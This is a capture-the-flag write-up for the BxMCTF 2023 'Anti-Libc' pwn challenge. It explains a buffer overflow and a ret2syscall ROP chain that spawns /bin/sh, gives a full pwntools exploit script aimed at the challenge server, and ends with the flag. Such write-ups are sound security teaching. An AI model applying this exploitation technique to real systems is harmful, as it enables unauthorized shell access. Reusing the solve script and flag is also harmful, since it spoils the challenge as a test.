Anti-Libc

by PeaceRanger / IUT GENESIS

Tags: pwn

Rating:

BxMCTF 2023 - Anti-Libc Writeup

Challenge Description

```
Why use many functions when few do trick?
Author: JW
```

Challenge File

TL;DR

Was given a statically linked binary with no libc functions, so ret2libc was not possible. All I/O operations were implemented using native syscalls, so this binary was vulnerable to ret2syscall attack. But it was not striaghtforward to do that as binary had very minimal functions, hence a lack of ROP gadgets. Had to devise clever ways of executing `execve("/bin/sh", 0, 0)` because that is the ultimate goal of the ret2syscall attack.

Need to put address of `/bin/sh` in RDI, 0 in both RSI and RDX to get our desired `execve()` execution. There's a buffer overflow in the given binary. Using the overflow, wrote `/bin/sh` in the `.bss` segment which is also the start of `input_buf` where all inputs are stored. There was no `pop rdx` instruction directly but `pop rsi; pop rdi; jump ADDR` instruction was there with a jump to a particular address which had multiple side effects after jumping. It decremented RSI, incremented RDI, pop a value to RBP and RBX and set RDX to DWORD PTR [RDI]. So, what I did is put `0x0` just before `/bin/sh` so that when the execution goes after `pop rsi; pop rdi; jump ADDR` then after popping values into RBP and RBX, the value `0x0` will be put in RDX as RDI will point to it. Then as a side effect mentioned earlier, RDI will be incremented to point to `/bin/sh` and voila! we have our right register states to be ready to execute `syscall`.

One last thing was to put `0x3b` into RAX as RAX would hold the syscall number for `execve()`. This is where I was stuck for a good time as I was relying on tools like `ROPgadget`, `ropper` to figure out the ROP gadgets. But unfortunately, not a single one of them gave me any instruction involving some `mov` or `pop` or any other instruction so that I can fill RAX with my desired value. Out of frustration, I started manually searching through the disassembly in the hope of finding some instruction that would let me modify RAX. And at one point, I found a `mov ebx, eax` (AT&T Syntax) instruction and I already had a gadget `pop rbx`. This is one crucial lesson that I again got: **Never rely on tools blindly**. So, finally I had all the pieces of the puzzle to execute `syscall` and after that, I got the shell and the flag ?!

Solve.py

```
#!/usr/bin/env python3.8

from pwn import *

context.arch = "amd64"
context.log_level = "info"

e = ELF("./main")
```

```
p = remote("198.199.90.158", "37699")

# p = process(e.path)
gdbscript = """
set follow-fork-mode child
start
b *0x40103f
"""
# p = gdb.debug(e.path, gdbscript=gdbscript)

offset = 64  # just before RBP
input_buf = 0x402020
EDX = b"\x00"
BIN_SH = b"/bin/sh\x00"
EVIL = EDX + BIN_SH
DUMMY_RBP = p64(input_buf + 0x100)
DUMMY_RBX = p64(1)
SYSCALL = p64(0x401055)
EVIL_ADDRESS = input_buf + 4 + len(DUMMY_RBP + DUMMY_RBX + SYSCALL)
POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
POP_RBX = p64(0x40109C)
MOV_EBX_EAX = p64(
    0x40108D
)  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx;
ret
RSI = p64(1)
RDI = p64(EVIL_ADDRESS)
RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
RBP = p64(input_buf + 4)  # points to start of payload

# DUMMY RBP and RBX values to cater for the side effect after pop rsi ; pop rdi ; jmp 0x401106
payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
payload += padding + RBP + POP_RSI_RDI + RSI + RDI
payload += POP_RBX + RBX + MOV_EBX_EAX

print(p.recvuntil("input? "))
p.sendline(str(len(payload)))
p.sendline(payload)

p.interactive()
```

Flag

`ctf{p3rf_4nd_s3c_m1sm4tch}`

Original writeup (https://github.com/peace-ranger/CTF-WriteUps/tree/main/2023/BxMCTF/(pwn)%20Anti-Libc).

Comments